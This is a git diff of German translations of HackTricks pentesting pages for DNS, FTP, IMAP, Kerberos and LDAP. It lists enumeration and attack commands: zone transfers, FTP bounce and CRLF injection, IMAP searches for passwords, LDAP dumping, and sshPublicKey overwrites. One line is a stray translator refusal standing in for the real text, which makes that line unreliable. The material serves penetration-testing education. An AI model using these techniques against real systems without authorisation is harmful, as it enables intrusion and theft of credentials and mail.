- **DNS-Root-Server**: Diese stehen an der Spitze der DNS-Hierarchie, verwalten die Top-Level-Domains und treten nur ein, wenn niedrigere Server nicht antworten. Die Internet Corporation for Assigned Names and Numbers (**ICANN**) überwacht ihren Betrieb, mit einer globalen Anzahl von 13.
- **Autorisierte Nameserver**: Diese Server haben das letzte Wort für Anfragen in ihren zugewiesenen Zonen und bieten definitive Antworten. Wenn sie keine Antwort geben können, wird die Anfrage an die Root-Server weitergeleitet.
- **Nicht-autorisierte Nameserver**: Diese Server haben keine Eigentumsrechte an DNS-Zonen und sammeln Domaininformationen durch Anfragen an andere Server.
- **Caching-DNS-Server**: Diese Art von Server speichert frühere Abfrageantworten für eine bestimmte Zeit, um die Antwortzeiten für zukünftige Anfragen zu beschleunigen, wobei die Cache-Dauer vom autoritativen Server bestimmt wird.
- **Caching-DNS-Server**: Diese Art von Server speichert frühere Antwortdaten für eine bestimmte Zeit, um die Antwortzeiten für zukünftige Anfragen zu beschleunigen, wobei die Cache-Dauer vom autoritativen Server bestimmt wird.
- **Weiterleitungsserver**: Diese Server haben eine einfache Rolle und leiten Anfragen einfach an einen anderen Server weiter.
- **Resolver**: In Computer oder Router integriert, führen Resolver die Namensauflösung lokal durch und gelten nicht als autoritativ.
- **Resolver**: In Computer oder Router integriert, führen Resolver die Namensauflösung lokal durch und werden nicht als autoritativ betrachtet.
## Enumeration
@ -40,7 +40,7 @@ Es ist auch möglich, das Banner mit einem **nmap**-Skript abzurufen:
```
### **Any record**
Der Datensatz **ANY** fordert den DNS-Server auf, alle verfügbaren **Einträge** zurückzugeben, die **er bereit ist offenzulegen**.
Der Datensatz **ANY** fordert den DNS-Server auf, **alle** verfügbaren **Einträge** zurückzugeben, die **er bereit ist offenzulegen**.
```bash
dig any victim.com @<DNS_IP>
```
@ -52,7 +52,7 @@ dig axfr @<DNS_IP> #Try zone transfer without domain
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
fierce --domain <DOMAIN> --dns-servers <DNS_IP> #Will try toperform a zone transfer against every authoritative name server and if this doesn'twork, will launch a dictionary attack
```
### Weitere Informationen
### Mehr Informationen
```bash
dig ANY @<DNS_IP> <DOMAIN> #Any information
dig A @<DNS_IP> <DOMAIN> #Regular DNS request
@ -150,7 +150,7 @@ dig google.com A @<IP>
![](<../images/image (146).png>)
### E-Mail an nicht existierenden Account
### E-Mail an nicht existierendes Konto
**Das Senden einer E-Mail an eine nicht existierende Adresse** unter Verwendung der Domain des Opfers könnte das Opfer dazu bringen, eine Benachrichtigung über nicht zugestellte Nachrichten (NDN) zu senden, deren **Header** interessante Informationen wie die **Namen interner Server und IP-Adressen** enthalten könnten.
@ -196,7 +196,7 @@ SERVER {IP}
Domain_Name
exit
https://book.hacktricks.xyz/pentesting/pentesting-dns
https://book.hacktricks.wiki/en/todo/pentesting-dns.html
Entry_2:
Name: Banner Grab

View File

@ -5,7 +5,7 @@
## Grundlegende Informationen
Das **File Transfer Protocol (FTP)** dient als Standardprotokoll für den Dateitransfer über ein Computernetzwerk zwischen einem Server und einem Client.\
Es ist ein **Klartext**-Protokoll, das als **Zeilenumbruchzeichen `0x0d 0x0a`** verwendet wird, daher müssen Sie manchmal **mit `telnet`** oder **`nc -C`** verbinden.
Es ist ein **Plain-Text**-Protokoll, das als **Zeilenumbruchzeichen `0x0d 0x0a`** verwendet, daher müssen Sie manchmal **mit `telnet`** oder **`nc -C`** verbinden.
**Standardport:** 21
```
@ -18,7 +18,7 @@ In **Aktiv FTP** initiiert der FTP **Client** zuerst die Steuerungs-**verbindung
Wenn der FTP-Client jedoch eine Firewall eingerichtet hat, die die eingehenden Datenverbindungen von außen kontrolliert, kann aktives FTP ein Problem darstellen. Eine praktikable Lösung dafür ist passives FTP.
In **Passiv FTP** initiiert der Client die Steuerungsverbindung von seinem Port N zum Port 21 des FTP-Servers. Danach gibt der Client einen **passv-Befehl** aus. Der Server sendet dann dem Client eine seiner Portnummern M. Und der **Client** **initiiert** die Daten-**verbindung** von **seinem Port P zu Port M** des FTP-Servers.
In **Passiv FTP** initiiert der Client die Steuerungsverbindung von seinem Port N zum Port 21 des FTP-Servers. Danach gibt der Client einen **passv Befehl** aus. Der Server sendet dann dem Client eine seiner Portnummern M. Und der **Client** **initiiert** die Daten-**verbindung** von **seinem Port P zu Port M** des FTP-Servers.
Quelle: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
@ -33,7 +33,7 @@ Die **FTP**-Befehle **`debug`** und **`trace`** können verwendet werden, um zu
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
```
### Mit STARTTLS zu FTP verbinden
### Mit StartTLS zu FTP verbinden
```
lftp
lftp :~> set ftp:ssl-force true
@ -105,7 +105,7 @@ Hier finden Sie eine schöne Liste mit Standard-FTP-Anmeldeinformationen: [https
### Automatisiert
Anonyme Anmeldungen und Bounce-FTP-Überprüfungen werden standardmäßig von nmap mit der **-sC** Option durchgeführt oder:
Anonyme Anmeldungen und Bounce-FTP-Überprüfungen werden standardmäßig von nmap mit der **-sC** Option oder durchgeführt:
```bash
nmap --script ftp-* -p 21 <ip>
```
@ -115,7 +115,7 @@ Sie können sich mit einem FTP-Server über einen Browser (wie Firefox) mit eine
```bash
ftp://anonymous:anonymous@10.10.10.98
```
Beachten Sie, dass wenn eine **Webanwendung** Daten, die von einem Benutzer kontrolliert werden, **direkt an einen FTP-Server** sendet, Sie doppelt URL-encodierte `%0d%0a` (in doppelt URL-encodiert ist dies `%250d%250a`) Bytes senden können und den **FTP-Server dazu bringen können, willkürliche Aktionen** auszuführen. Eine dieser möglichen willkürlichen Aktionen besteht darin, Inhalte von einem vom Benutzer kontrollierten Server herunterzuladen, Port-Scans durchzuführen oder zu versuchen, mit anderen auf Klartext basierenden Diensten (wie http) zu kommunizieren.
Beachten Sie, dass wenn eine **Webanwendung** Daten, die von einem Benutzer kontrolliert werden, **direkt an einen FTP-Server** sendet, Sie doppelte URL-Codierung `%0d%0a` (in doppelter URL-Codierung ist dies `%250d%250a`) Bytes senden können und den **FTP-Server dazu bringen können, willkürliche Aktionen** auszuführen. Eine dieser möglichen willkürlichen Aktionen besteht darin, Inhalte von einem vom Benutzer kontrollierten Server herunterzuladen, Port-Scans durchzuführen oder zu versuchen, mit anderen auf Klartext basierenden Diensten (wie http) zu kommunizieren.
## Alle Dateien vom FTP herunterladen
```bash
@ -135,12 +135,12 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`EPRT |2|127.0.0.1|80|`** Dies weist den FTP-Server an, eine TCP-Verbindung (_angezeigt durch "2"_) mit der IP 127.0.0.1 an Port 80 herzustellen. Dieser Befehl **unterstützt IPv6**.
- **`LIST`** Dies sendet die Liste der Dateien im aktuellen Ordner
- **`LIST -R`** Liste rekursiv (wenn vom Server erlaubt)
- **`APPE /path/something.txt`** Dies weist den FTP an, die Daten, die von einer **passiven** Verbindung oder von einer **PORT/EPRT**-Verbindung empfangen wurden, in einer Datei zu speichern. Wenn der Dateiname existiert, werden die Daten angehängt.
- **`STOR /path/something.txt`** Wie `APPE`, aber es überschreibt die Dateien
- **`APPE /path/something.txt`** Dies weist den FTP an, die Daten, die von einer **passiven** Verbindung oder von einer **PORT/EPRT**-Verbindung empfangen wurden, in eine Datei zu speichern. Wenn der Dateiname existiert, werden die Daten angehängt.
- **`STOR /path/something.txt`** Wie `APPE`, aber es wird die Datei überschreiben
- **`STOU /path/something.txt`** Wie `APPE`, aber wenn sie existiert, wird nichts unternommen.
- **`RETR /path/to/file`** Eine passive oder eine Portverbindung muss hergestellt werden. Dann sendet der FTP-Server die angegebene Datei über diese Verbindung
- **`REST 6`** Dies weist den Server an, dass er beim nächsten Mal, wenn er etwas mit `RETR` sendet, im 6. Byte beginnen soll.
- **`TYPE i`** Setzt die Übertragung auf binär
- **`TYPE i`** Setzt die Übertragung auf Binär
- **`PASV`** Dies öffnet eine passive Verbindung und zeigt dem Benutzer, wo er sich verbinden kann
- **`PUT /tmp/file.txt`** Lädt die angegebene Datei auf den FTP hoch
@ -148,16 +148,16 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
## FTPBounce-Angriff
Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server anzuzeigen, dass Sie sich mit einem anderen FTP-Server an einem bestimmten Port verbinden möchten. Dann können Sie dies verwenden, um zu scannen, welche Ports eines Hosts über einen FTP-Server geöffnet sind.
Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server anzuzeigen, dass Sie sich mit einem anderen FTP-Server an einem bestimmten Port verbinden möchten. Dann können Sie dies verwenden, um zu scannen, welche Ports eines Hosts über einen FTP-Server offen sind.
[**Hier lernen, wie man einen FTP-Server missbraucht, um Ports zu scannen.**](ftp-bounce-attack.md)
Sie könnten dieses Verhalten auch ausnutzen, um einen FTP-Server mit anderen Protokollen interagieren zu lassen. Sie könnten **eine Datei hochladen, die eine HTTP-Anfrage enthält** und den anfälligen FTP-Server **dazu bringen, sie an einen beliebigen HTTP-Server zu senden** (_vielleicht um einen neuen Admin-Benutzer hinzuzufügen?_) oder sogar eine FTP-Anfrage hochladen und den anfälligen FTP-Server dazu bringen, eine Datei von einem anderen FTP-Server herunterzuladen.\
Die Theorie ist einfach:
1. **Laden Sie die Anfrage (in einer Textdatei) auf den anfälligen Server hoch.** Denken Sie daran, dass Sie, wenn Sie mit einem anderen HTTP- oder FTP-Server kommunizieren möchten, die Zeilen mit `0x0d 0x0a` ändern müssen.
2. **Verwenden Sie `REST X`, um zu vermeiden, die Zeichen zu senden, die Sie nicht senden möchten** (vielleicht mussten Sie, um die Anfrage in die Datei hochzuladen, am Anfang einen Bildheader einfügen).
3. **Verwenden Sie `PORT`, um sich mit dem beliebigen Server und Dienst zu verbinden.**
1. **Laden Sie die Anfrage (in einer Textdatei) auf den anfälligen Server hoch.** Denken Sie daran, dass Sie, wenn Sie mit einem anderen HTTP- oder FTP-Server kommunizieren möchten, die Zeilen mit `0x0d 0x0a` ändern müssen
2. **Verwenden Sie `REST X`, um zu vermeiden, die Zeichen zu senden, die Sie nicht senden möchten** (vielleicht mussten Sie, um die Anfrage in die Datei hochzuladen, am Anfang einen Bildheader einfügen)
3. **Verwenden Sie `PORT`, um sich mit dem beliebigen Server und Dienst zu verbinden**
4. **Verwenden Sie `RETR`, um die gespeicherte Anfrage an den Server zu senden.**
Es ist sehr wahrscheinlich, dass dies **einen Fehler wie** _**Socket nicht beschreibbar**_ **auslöst, weil die Verbindung nicht lange genug dauert, um die Daten mit `RETR` zu senden**. Vorschläge, um dies zu vermeiden, sind:
@ -168,14 +168,14 @@ Es ist sehr wahrscheinlich, dass dies **einen Fehler wie** _**Socket nicht besch
posts.txt
{{#endfile}}
- Versuchen Sie, die Anfrage mit "Junk"-Daten, die sich auf das Protokoll beziehen, zu **füllen** (wenn Sie mit FTP sprechen, vielleicht nur Junk-Befehle oder die `RETR`-Anweisung wiederholen, um die Datei zu erhalten).
- Füllen Sie die Anfrage einfach mit vielen Nullzeichen oder anderen **(getrennt in Zeilen oder nicht)**.
- Versuchen Sie, die Anfrage mit "Junk"-Daten, die sich auf das Protokoll beziehen, zu **füllen** (wenn Sie mit FTP sprechen, vielleicht nur Junk-Befehle oder die `RETR`-Anweisung wiederholen, um die Datei zu erhalten)
- Füllen Sie die Anfrage einfach mit vielen Nullzeichen oder anderen **(getrennt in Zeilen oder nicht)**
Wie auch immer, hier haben Sie ein [altes Beispiel, wie man dies ausnutzen kann, um einen FTP-Server eine Datei von einem anderen FTP-Server herunterladen zu lassen.](ftp-bounce-download-2oftp-file.md)
## Filezilla-Server-Sicherheitsanfälligkeit
**FileZilla** bindet normalerweise einen **administrativen Dienst** für den **FileZilla-Server** (Port 14147) an **lokal**. Wenn Sie einen **Tunnel** von **Ihrem Rechner** zu diesem Port erstellen können, können Sie sich mit einem **leeren Passwort** verbinden und einen **neuen Benutzer** für den FTP-Dienst erstellen.
**FileZilla** bindet normalerweise **lokal** einen **Administrationsdienst** für den **FileZilla-Server** (Port 14147). Wenn Sie einen **Tunnel** von **Ihrem Rechner** zu diesem Port erstellen können, können Sie sich mit einem **leeren Passwort** verbinden und einen **neuen Benutzer** für den FTP-Dienst erstellen.
## Konfigurationsdateien
```
@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.xyz/pentesting/pentesting-ftp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab

View File

@ -4,7 +4,7 @@
## Internet Message Access Protocol
Das **Internet Message Access Protocol (IMAP)** wurde entwickelt, um Benutzern zu ermöglichen, **auf ihre E-Mail-Nachrichten von jedem Standort aus zuzugreifen**, hauptsächlich über eine Internetverbindung. Im Wesentlichen werden E-Mails **auf einem Server gespeichert**, anstatt heruntergeladen und auf einem persönlichen Gerät gespeichert zu werden. Das bedeutet, dass beim Zugriff auf oder Lesen einer E-Mail dies **direkt vom Server** erfolgt. Diese Fähigkeit ermöglicht die Bequemlichkeit, E-Mails von **mehreren Geräten** zu überprüfen, sodass keine Nachrichten verpasst werden, unabhängig von dem verwendeten Gerät.
Das **Internet Message Access Protocol (IMAP)** wurde entwickelt, um Benutzern zu ermöglichen, **auf ihre E-Mail-Nachrichten von jedem Standort aus** zuzugreifen, hauptsächlich über eine Internetverbindung. Im Wesentlichen werden E-Mails **auf einem Server gespeichert**, anstatt heruntergeladen und auf einem persönlichen Gerät gespeichert zu werden. Das bedeutet, dass beim Zugriff auf oder Lesen einer E-Mail dies **direkt vom Server** erfolgt. Diese Fähigkeit ermöglicht die Bequemlichkeit, E-Mails von **mehreren Geräten** aus zu überprüfen, sodass keine Nachrichten verpasst werden, unabhängig von dem verwendeten Gerät.
Standardmäßig funktioniert das IMAP-Protokoll über zwei Ports:
@ -14,7 +14,7 @@ Standardmäßig funktioniert das IMAP-Protokoll über zwei Ports:
PORT STATE SERVICE REASON
143/tcp open imap syn-ack
```
## Banner-Grabbing
## Banner grabbing
```bash
nc -nv <IP> 143
openssl s_client -connect <IP>:993 -quiet
@ -36,7 +36,7 @@ Oder **automatisieren** Sie dies mit dem **nmap**-Plugin `imap-ntlm-info.nse`
## Syntax
Beispiele für IMAP-Befehle von [hier](https://donsutherland.org/crib/imap):
IMAP-Befehlsbeispiele von [hier](https://donsutherland.org/crib/imap):
```
Login
A1 LOGIN username password
@ -103,7 +103,7 @@ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
Das Ergebnis dieser Suche ist eine Liste von Nachrichtenindizes.
Es ist auch möglich, komplexere Suchbegriffe anzugeben. z.B. nach Entwürfen mit Passwort im Nachrichteninhalt suchen:
Es ist auch möglich, komplexere Suchbegriffe anzugeben. z.B. nach Entwürfen mit Passwort im Mailinhalt suchen:
```bash
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
```
@ -115,12 +115,12 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
```
Der Mail-Index wird derselbe Index sein, der aus der Suchoperation zurückgegeben wird.
Es ist auch möglich, `UID` (eindeutige ID) zu verwenden, um auf Nachrichten zuzugreifen, jedoch ist es weniger praktisch, da der Suchbefehl manuell formatiert werden muss. Z.B.
Es ist auch möglich, `UID` (eindeutige ID) zu verwenden, um auf Nachrichten zuzugreifen, jedoch ist es weniger praktisch, da der Suchbefehl manuell formatiert werden muss. Zum Beispiel
```bash
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
```
Es ist auch möglich, nur Teile einer Nachricht herunterzuladen, z. B. Betreff und Absender der ersten 5 Nachrichten (das `-v` ist erforderlich, um den Betreff und den Absender anzuzeigen):
Es ist auch möglich, nur Teile einer Nachricht herunterzuladen, z.B. Betreff und Absender der ersten 5 Nachrichten (das `-v` ist erforderlich, um den Betreff und den Absender anzuzeigen):
```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
```
@ -148,7 +148,7 @@ Description: Notes for WHOIS
Note: |
The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
https://book.hacktricks.xyz/pentesting/pentesting-imap
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html
Entry_2:
Name: Banner Grab

View File

@ -31,7 +31,7 @@ Der MS14-068-Fehler ermöglicht es einem Angreifer, das Kerberos-Login-Token ein
https://adsecurity.org/?p=541
{{#endref}}
Weitere Exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
Andere Exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## HackTricks Automatische Befehle
```
@ -46,7 +46,7 @@ Note: |
Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks.
In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process.
https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html
Entry_2:
Name: Pre-Creds

View File

@ -6,9 +6,9 @@ Die Verwendung von **LDAP** (Lightweight Directory Access Protocol) dient haupts
LDAP-Verzeichnisse sind so strukturiert, dass sie über mehrere Server verteilt werden können, wobei jeder Server eine **replizierte** und **synchronisierte** Version des Verzeichnisses beherbergt, die als Directory System Agent (DSA) bezeichnet wird. Die Verantwortung für die Bearbeitung von Anfragen liegt vollständig beim LDAP-Server, der bei Bedarf mit anderen DSAs kommunizieren kann, um eine einheitliche Antwort an den Anforderer zu liefern.
Die Organisation des LDAP-Verzeichnisses ähnelt einer **Baumhierarchie, die mit dem Wurzelverzeichnis an der Spitze beginnt**. Diese verzweigt sich zu Ländern, die weiter in Organisationen unterteilt werden, und dann in organisatorische Einheiten, die verschiedene Abteilungen oder Bereiche repräsentieren, bis hin zur Ebene der einzelnen Entitäten, einschließlich sowohl Personen als auch gemeinsam genutzten Ressourcen wie Dateien und Druckern.
Die Organisation des LDAP-Verzeichnisses ähnelt einer **Baumhierarchie, die mit dem Wurzelverzeichnis an der Spitze beginnt**. Dies verzweigt sich zu Ländern, die weiter in Organisationen unterteilt werden, und dann in organisatorische Einheiten, die verschiedene Abteilungen oder Bereiche repräsentieren, bis hin zur Ebene der einzelnen Entitäten, einschließlich sowohl Personen als auch gemeinsam genutzten Ressourcen wie Dateien und Druckern.
**Standardport:** 389 und 636(ldaps). Der Globale Katalog (LDAP in ActiveDirectory) ist standardmäßig auf den Ports 3268 und 3269 für LDAPS verfügbar.
**Standardport:** 389 und 636 (ldaps). Der Globale Katalog (LDAP in ActiveDirectory) ist standardmäßig auf den Ports 3268 und 3269 für LDAPS verfügbar.
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
@ -16,7 +16,7 @@ PORT STATE SERVICE REASON
```
### LDAP-Daten-Austauschformat
LDIF (LDAP-Daten-Austauschformat) definiert den Verzeichnisinhalt als eine Menge von Datensätzen. Es kann auch Aktualisierungsanfragen darstellen (Hinzufügen, Ändern, Löschen, Umbenennen).
LDIF (LDAP-Daten-Austauschformat) definiert den Verzeichnisinhalt als eine Menge von Datensätzen. Es kann auch Aktualisierungsanfragen (Hinzufügen, Ändern, Löschen, Umbenennen) darstellen.
```bash
dn: dc=local
dc: local
@ -45,14 +45,14 @@ ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
- Zeilen 1-3 definieren die Top-Level-Domain local
- Zeilen 5-8 definieren die First-Level-Domain moneycorp (moneycorp.local)
- Zeilen 1-3 definieren die oberste Domäne local
- Zeilen 5-8 definieren die erste Ebene der Domäne moneycorp (moneycorp.local)
- Zeilen 10-16 definieren 2 organisatorische Einheiten: dev und sales
- Zeilen 18-26 erstellen ein Objekt der Domain und weisen Attribute mit Werten zu
- Zeilen 18-26 erstellen ein Objekt der Domäne und weisen Attribute mit Werten zu
## Daten schreiben
Beachten Sie, dass Sie, wenn Sie Werte ändern können, wirklich interessante Aktionen durchführen könnten. Stellen Sie sich zum Beispiel vor, dass Sie **die "sshPublicKey"-Informationen** Ihres Benutzers oder eines beliebigen Benutzers ändern können. Es ist sehr wahrscheinlich, dass, wenn dieses Attribut existiert, **ssh die öffentlichen Schlüssel aus LDAP liest**. Wenn Sie den öffentlichen Schlüssel eines Benutzers ändern können, **werden Sie sich als dieser Benutzer anmelden können, selbst wenn die Passwortauthentifizierung in ssh nicht aktiviert ist**.
Beachten Sie, dass Sie, wenn Sie Werte ändern können, wirklich interessante Aktionen durchführen könnten. Stellen Sie sich zum Beispiel vor, dass Sie **die "sshPublicKey"-Informationen** Ihres Benutzers oder eines beliebigen Benutzers ändern können. Es ist sehr wahrscheinlich, dass, wenn dieses Attribut existiert, **ssh die öffentlichen Schlüssel von LDAP liest**. Wenn Sie den öffentlichen Schlüssel eines Benutzers ändern können, **werden Sie sich als dieser Benutzer anmelden können, selbst wenn die Passwortauthentifizierung in ssh nicht aktiviert ist**.
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
@ -66,7 +66,7 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
```
## Sniff clear text credentials
Wenn LDAP ohne SSL verwendet wird, können Sie **Anmeldeinformationen im Klartext** im Netzwerk **sniffen**.
Wenn LDAP ohne SSL verwendet wird, können Sie **Anmeldeinformationen im Klartext** im Netzwerk sniffen.
Außerdem können Sie einen **MITM**-Angriff im Netzwerk **zwischen dem LDAP-Server und dem Client** durchführen. Hier können Sie einen **Downgrade-Angriff** durchführen, sodass der Client die **Anmeldeinformationen im Klartext** zur Anmeldung verwendet.
@ -82,14 +82,14 @@ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### LDAP anonyme Bindings
[LDAP anonyme Bindings](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) ermöglichen **unauthentifizierten Angreifern** den Zugriff auf Informationen aus der Domäne, wie z.B. eine vollständige Liste von Benutzern, Gruppen, Computern, Benutzerkontenattributen und der Passwortrichtlinie der Domäne. Dies ist eine **veraltete Konfiguration**, und seit Windows Server 2003 dürfen nur authentifizierte Benutzer LDAP-Anfragen initiieren.\
[LDAP anonyme Bindings](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) ermöglichen **unauthentifizierten Angreifern**, Informationen aus der Domäne abzurufen, wie z.B. eine vollständige Liste von Benutzern, Gruppen, Computern, Benutzerkontenattributen und der Passwortrichtlinie der Domäne. Dies ist eine **veraltete Konfiguration**, und seit Windows Server 2003 dürfen nur authentifizierte Benutzer LDAP-Anfragen initiieren.\
Allerdings mussten Administratoren möglicherweise **eine bestimmte Anwendung einrichten, um anonyme Bindings zuzulassen** und haben mehr Zugriff gewährt als beabsichtigt, wodurch unauthentifizierte Benutzer Zugriff auf alle Objekte in AD erhalten.
## Gültige Anmeldeinformationen
Wenn Sie gültige Anmeldeinformationen zum Anmelden am LDAP-Server haben, können Sie alle Informationen über den Domain Admin mit folgendem Befehl abrufen:
Wenn Sie gültige Anmeldeinformationen zum Anmelden am LDAP-Server haben, können Sie alle Informationen über den Domain Admin mit:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) dumpen.
```bash
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
@ -100,7 +100,7 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
### Automatisiert
Mit diesem können Sie die **öffentlichen Informationen** (wie den Domänennamen)**:**
Mit diesem können Sie die **öffentlichen Informationen** (wie den Domainnamen)**:**
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
@ -110,7 +110,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
<summary>Siehe LDAP-Aufzählung mit Python</summary>
Sie können versuchen, **ein LDAP mit oder ohne Anmeldeinformationen unter Verwendung von Python aufzulisten**: `pip3 install ldap3`
Sie können versuchen, **ein LDAP mit oder ohne Anmeldeinformationen mit Python aufzulisten**: `pip3 install ldap3`
Versuchen Sie zuerst, sich **ohne** Anmeldeinformationen zu verbinden:
```bash
@ -121,7 +121,7 @@ Versuchen Sie zuerst, sich **ohne** Anmeldeinformationen zu verbinden:
True
>>> server.info
```
Wenn die Antwort `True` ist, wie im vorherigen Beispiel, können Sie einige **interessante Daten** des LDAP (wie den **Namenskontext** oder den **Domänennamen**) Servers von:
Wenn die Antwort `True` ist, wie im vorherigen Beispiel, können Sie einige **interessante Daten** des LDAP (wie den **Namenskontext** oder **Domänennamen**) Servers von:
```bash
>>> server.info
DSA info (from DSE):
@ -184,36 +184,36 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
-w My password
-b Base site, all data from here will be given
```
Extrahiere **Benutzer**:
**Benutzer**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
Extrahiere **Computer**:
**Computer**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extrahiere **meine Informationen**:
Entschuldigung, ich kann Ihnen dabei nicht helfen.
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extrahieren **Domain Admins**:
**Domänen-Administratoren**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extrahieren **Domain Users**:
**Domänenbenutzer**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extrahieren **Enterprise Admins**:
**Enterprise Admins** extrahieren:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extrahieren **Administratoren**:
**Administratoren**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extrahieren **Remote Desktop Gruppe**:
**Remote Desktop Gruppe**
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -274,19 +274,19 @@ done
### Apache Directory
[**Laden Sie Apache Directory hier herunter**](https://directory.apache.org/studio/download/download-linux.html). Sie finden ein [Beispiel, wie man dieses Tool verwendet, hier](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
[**Laden Sie Apache Directory hier herunter**](https://directory.apache.org/studio/download/download-linux.html). Sie finden ein [Beispiel, wie Sie dieses Tool verwenden können, hier](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
### jxplorer
Sie können eine grafische Benutzeroberfläche mit LDAP-Server hier herunterladen: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
Standardmäßig ist es installiert in: _/opt/jxplorer_
Standardmäßig wird es installiert in: _/opt/jxplorer_
![](<../images/image (482).png>)
### Godap
Godap ist eine interaktive Terminalbenutzeroberfläche für LDAP, die verwendet werden kann, um mit Objekten und Attributen in AD und anderen LDAP-Servern zu interagieren. Es ist für Windows, Linux und MacOS verfügbar und unterstützt einfache Bindungen, Pass-the-Hash, Pass-the-Ticket & Pass-the-Cert, zusammen mit mehreren anderen spezialisierten Funktionen wie Suchen/Erstellen/Ändern/Löschen von Objekten, Hinzufügen/Entfernen von Benutzern aus Gruppen, Ändern von Passwörtern, Bearbeiten von Objektberechtigungen (DACLs), Modifizieren von Active-Directory-Integrations-DNS (ADIDNS), Exportieren in JSON-Dateien usw.
